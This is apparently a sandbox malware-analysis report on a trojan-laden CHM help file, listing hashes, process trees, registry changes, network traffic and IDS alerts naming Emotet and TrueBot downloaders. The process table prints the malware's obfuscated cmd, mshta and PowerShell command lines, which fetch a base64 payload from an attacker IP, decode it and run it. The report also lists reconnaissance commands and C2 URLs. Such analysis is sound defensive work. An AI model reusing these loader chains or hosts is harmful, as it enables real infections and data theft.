| File name: | Contract_12112018.chm |
| Full analysis: | https://app.any.run/tasks/236faf58-c807-45b5-8211-39ab8cf1a8e6 |
| Verdict: | Malicious activity |
| Threats: | Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email. |
| Analysis date: | November 15, 2018, 12:00:54 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/octet-stream |
| File info: | MS Windows HtmlHelp Data |
| MD5: | 009C457C4456A0D0D3B38627135B6F18 |
| SHA1: | D167B13988AA0B277426489F343A484334A394D0 |
| SHA256: | 00A1397C9C65BABE9CCBCAB73D09FDF874A35A5783BAAB60C03C18C761DA6458 |
| SSDEEP: | 96:PEFZLu40Z5Yllc1WBQi58V3eOjU7HZwsn6bde/j17b4oFY9aMfVzm5ivx0n1/JO:PSg4PwWBd581e+UtJnf1AqY9aM05GmO |
MALICIOUS
Application was dropped or rewritten from another process
- cmd.exe (PID: 892)
- eprepr.com (PID: 640)
- cmd.exe (PID: 3820)
- cmd.exe (PID: 2660)
- cmd.exe (PID: 2540)
- cmd.exe (PID: 2744)
- cmd.exe (PID: 1772)
- epreprff.com (PID: 840)
- epreprff.com (PID: 2956)
- epreprf.com (PID: 3848)
Changes the autorun value in the registry
- eprepr.com (PID: 640)
SUSPICIOUS
Starts Internet Explorer
- rundll32.exe (PID: 2288)
Starts CMD.EXE for commands execution
- hh.exe (PID: 2180)
- mshta.exe (PID: 2772)
- eprepr.com (PID: 640)
Starts MSHTA.EXE for opening HTA or HTMLS files
- cmd.exe (PID: 892)
Reads internet explorer settings
- hh.exe (PID: 2180)
Starts application with an unusual extension
- cmd.exe (PID: 1772)
- epreprff.com (PID: 840)
- epreprf.com (PID: 3848)
Executable content was dropped or overwritten
- epreprf.com (PID: 3848)
- eprepr.com (PID: 640)
- cmd.exe (PID: 1772)
Uses SYSTEMINFO.EXE to read environment
- cmd.exe (PID: 2660)
Creates files in the program directory
- cmd.exe (PID: 2660)
Creates files in the user directory
- eprepr.com (PID: 640)
Uses IPCONFIG.EXE to discover IP address
- cmd.exe (PID: 2540)
Starts NET.EXE for network exploration
- cmd.exe (PID: 3820)
Uses WHOAMI.EXE to obtaining logged on user information
- cmd.exe (PID: 2744)
Connects to server without host name
- eprepr.com (PID: 640)
INFO
Application launched itself
- iexplore.exe (PID: 3288)
Modifies the open verb of a shell class
- rundll32.exe (PID: 2288)
Changes internet zones settings
- iexplore.exe (PID: 3288)
Reads Internet Cache Settings
- iexplore.exe (PID: 3200)
Reads internet explorer settings
- mshta.exe (PID: 2772)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .chi | | | Windows HELP Index (81) |
|---|---|---|
| .chm | | | Windows HELP File (18.9) |
EXIF
EXE
| CHMVersion: | 3 |
|---|---|
| LanguageCode: | English (U.S.) |
Total processes
64
Monitored processes
19
Malicious processes
7
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 124 | systeminfo | C:\Windows\system32\systeminfo.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Displays system information Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 640 | "C:\Users\admin\AppData\Local\Temp\eprepr.com" | C:\Users\admin\AppData\Local\Temp\eprepr.com | epreprf.com | ||||||||||||
User: admin Company: MS DefenderApplication Integrity Level: MEDIUM Description: MS DefenderApplicationController Exit code: 0 Version: 2.0.4.9 Modules
| |||||||||||||||
| 840 | C:\Users\admin\AppData\Local\Temp\\epreprff.com /c C:\Users\admin\AppData\Local\Temp\\epreprf.com %asidfjhfwsss%%asidfjhfwssss%%asidfjhfwsssss%%asidfjhfwss%%par5%%asidfjhfwsssssssssssssss%('HtTp://146.0.72.139/flk', 'C:\Users\admin\AppData\Local\Temp\\eprepr.txt'); $sr=Get-Content %skk% %ski% C:\Users\admin\AppData\Local\Temp\\eprepr.txt; $sk=[System.Text.Encoding]::UTF8.GetString($sr); $sv=[Convert]::FromBase64String($sk); Add-Content %skk% %ski% C:\Users\admin\AppData\Local\Temp\\eprepr.com $sv; C:\Users\admin\AppData\Local\Temp\\eprepr.com; | C:\Users\admin\AppData\Local\Temp\epreprff.com | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 892 | "C:\Windows\System32\cmd.exe" ,/b,^, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, ,,,,,,,,,,, ,,,,,,,,,,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,/C,, st%ALLUSERSPROFILE:~8,1%rt msht%ALLUSERSPROFILE:~8,1% H%ALLUSERSPROFILE:~12,1%%ALLUSERSPROFILE:~12,1%p://146.0.72.139/li | C:\Windows\System32\cmd.exe | — | hh.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 1696 | whoami | C:\Windows\system32\whoami.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: whoami - displays logged on user information Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1772 | "C:\Windows\System32\cmd.exe" /c copy C:\\Windows\\System32\\cmd.exe C:\Users\admin\AppData\Local\Temp\\epreprff.com && C:\Users\admin\AppData\Local\Temp\\epreprff.com /c &Set skk= -Encoding&& Set ski= Byte && Set asidfjhfwssss=den -n%ALLUSERSPROFILE:~5,1%ninter&&Set asidfjhfwsss=-n%ALLUSERSPROFILE:~5,1%p -W hid&& Set asidfjhfwsssss=active -c (new-%ALLUSERSPROFILE:~5,1%bj&& Set asidfjhfwss=ect System.Net.WebClie&& Set par5=nt).D%ALLUSERSPROFILE:~5,1%wnl%ALLUSERSPROFILE:~5,1%&& Set asidfjhfwsssssssssssssss=adfile& copy C:\\Windows\\System32\\WiNDOWSPOWerShELl\\v1.0\\pOWErsheLl.ExE C:\Users\admin\AppData\Local\Temp\\epreprf.com& C:\Users\admin\AppData\Local\Temp\\epreprff.com /c C:\Users\admin\AppData\Local\Temp\\epreprf.com %asidfjhfwsss%%asidfjhfwssss%%asidfjhfwsssss%%asidfjhfwss%%par5%%asidfjhfwsssssssssssssss%('Ht^Tp://146.0.72.139/flk', 'C:\Users\admin\AppData\Local\Temp\\eprepr.txt'); $sr=Get-Content %skk% %ski% C:\Users\admin\AppData\Local\Temp\\eprepr.txt; $sk=[System.Text.Encoding]::UTF8.GetString($sr); $sv=[Convert]::FromBase64String($sk); Add-Content %skk% %ski% C:\Users\admin\AppData\Local\Temp\\eprepr.com $sv; C:\Users\admin\AppData\Local\Temp\\eprepr.com; | C:\Windows\System32\cmd.exe | mshta.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 1964 | ipconfig | C:\Windows\system32\ipconfig.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: IP Configuration Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2180 | "C:\Windows\hh.exe" C:\Users\admin\Desktop\Contract_12112018.chm | C:\Windows\hh.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft® HTML Help Executable Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2288 | "C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\admin\AppData\Local\Temp\Contract_12112018.chm.chi | C:\Windows\system32\rundll32.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2540 | "C:\Windows\System32\cmd.exe" /C ipconfig >> C:\ProgramData\INFOCONTENT.TXT | C:\Windows\System32\cmd.exe | — | eprepr.com | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
Total events
1 927
Read events
1 641
Write events
283
Delete events
3
Modification events
| (PID) Process: | (2288) rundll32.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache |
| Operation: | write | Name: | C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe |
Value: Adobe Acrobat Reader DC | |||
| (PID) Process: | (2288) rundll32.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache |
| Operation: | write | Name: | C:\Windows\eHome\ehshell.exe |
Value: Windows Media Center | |||
| (PID) Process: | (2288) rundll32.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache |
| Operation: | write | Name: | C:\Windows\system32\mspaint.exe |
Value: Paint | |||
| (PID) Process: | (2288) rundll32.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache |
| Operation: | write | Name: | C:\Windows\system32\NOTEPAD.EXE |
Value: Notepad | |||
| (PID) Process: | (2288) rundll32.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache |
| Operation: | write | Name: | C:\PROGRA~1\MICROS~1\Office14\OIS.EXE |
Value: Microsoft Office 2010 | |||
| (PID) Process: | (2288) rundll32.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache |
| Operation: | write | Name: | C:\Program Files\Opera\Opera.exe |
Value: Opera Internet Browser | |||
| (PID) Process: | (2288) rundll32.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache |
| Operation: | write | Name: | C:\Program Files\Windows Photo Viewer\PhotoViewer.dll |
Value: Windows Photo Viewer | |||
| (PID) Process: | (2288) rundll32.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache |
| Operation: | write | Name: | C:\Program Files\VideoLAN\VLC\vlc.exe |
Value: VLC media player | |||
| (PID) Process: | (2288) rundll32.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache |
| Operation: | write | Name: | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE |
Value: Microsoft Word | |||
| (PID) Process: | (2288) rundll32.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\5F\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
Executable files
4
Suspicious files
1
Text files
8
Unknown types
1
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3288 | iexplore.exe | C:\Users\admin\AppData\Local\Temp\~DFD6F1DC22B0019D8F.TMP | — | |
MD5:— | SHA256:— | |||
| 3288 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\favicon[1].ico | — | |
MD5:— | SHA256:— | |||
| 3288 | iexplore.exe | C:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico | — | |
MD5:— | SHA256:— | |||
| 3288 | iexplore.exe | C:\Users\admin\AppData\Local\Temp\~DFC9E3101B91B3228B.TMP | — | |
MD5:— | SHA256:— | |||
| 3288 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Internet Explorer\Recovery\Active\RecoveryStore.{34001DD3-E8CE-11E8-BFAB-5254004AAD11}.dat | — | |
MD5:— | SHA256:— | |||
| 3288 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Internet Explorer\Recovery\Active\{34001DD4-E8CE-11E8-BFAB-5254004AAD11}.dat | binary | |
MD5:— | SHA256:— | |||
| 3200 | iexplore.exe | C:\Users\admin\Desktop\Contract_12112018.chm | chi | |
MD5:— | SHA256:— | |||
| 3200 | iexplore.exe | C:\Users\admin\AppData\Local\Temp\JavaDeployReg.log | text | |
MD5:— | SHA256:— | |||
| 2772 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\0UU90R59\li[1] | html | |
MD5:— | SHA256:— | |||
| 3820 | cmd.exe | C:\ProgramData\INFOCONTENT.TXT | text | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
4
DNS requests
3
Threats
8
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
640 | eprepr.com | POST | 200 | 146.0.72.188:80 | http://146.0.72.188/ipv6/mod/checker_info.php | NL | text | 65 b | malicious |
2772 | mshta.exe | GET | 200 | 146.0.72.139:80 | http://146.0.72.139/li | NL | html | 2.93 Kb | suspicious |
3848 | epreprf.com | GET | 200 | 146.0.72.139:80 | http://146.0.72.139/flk | NL | text | 136 Kb | suspicious |
640 | eprepr.com | GET | 200 | 146.0.72.188:80 | http://146.0.72.188/ipv6/ipvcheck.php?dns=c4ba3647 | NL | text | 5 b | malicious |
3288 | iexplore.exe | GET | 200 | 204.79.197.200:80 | http://www.bing.com/favicon.ico | US | image | 237 b | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2772 | mshta.exe | 146.0.72.139:80 | — | Hostkey B.v. | NL | suspicious |
640 | eprepr.com | 146.0.72.188:80 | — | Hostkey B.v. | NL | malicious |
3848 | epreprf.com | 146.0.72.139:80 | — | Hostkey B.v. | NL | suspicious |
3288 | iexplore.exe | 204.79.197.200:80 | www.bing.com | Microsoft Corporation | US | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
www.bing.com |
| whitelisted |
dns.msftncsi.com |
| shared |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3848 | epreprf.com | A Network Trojan was detected | SC TROJAN_DOWNLOADER Generic Trojan Emotet downloader |
3848 | epreprf.com | A Network Trojan was detected | ET TROJAN Windows executable base64 encoded |
3848 | epreprf.com | Misc activity | POLICY [PTsecurity] Executable base64 Payload |
640 | eprepr.com | A Network Trojan was detected | MALWARE [PTsecurity] SystemInfo Exfiltration |
640 | eprepr.com | A Network Trojan was detected | MALWARE [PTsecurity] SystemInfo Exfiltration |
640 | eprepr.com | Potentially Bad Traffic | GPL ATTACK_RESPONSE command completed |
640 | eprepr.com | A Network Trojan was detected | ET TROJAN TrueBot/Silence.Downloader Keep-Alive |
640 | eprepr.com | Misc activity | SUSPICIOUS [PTsecurity] Possible TrojanDownloader |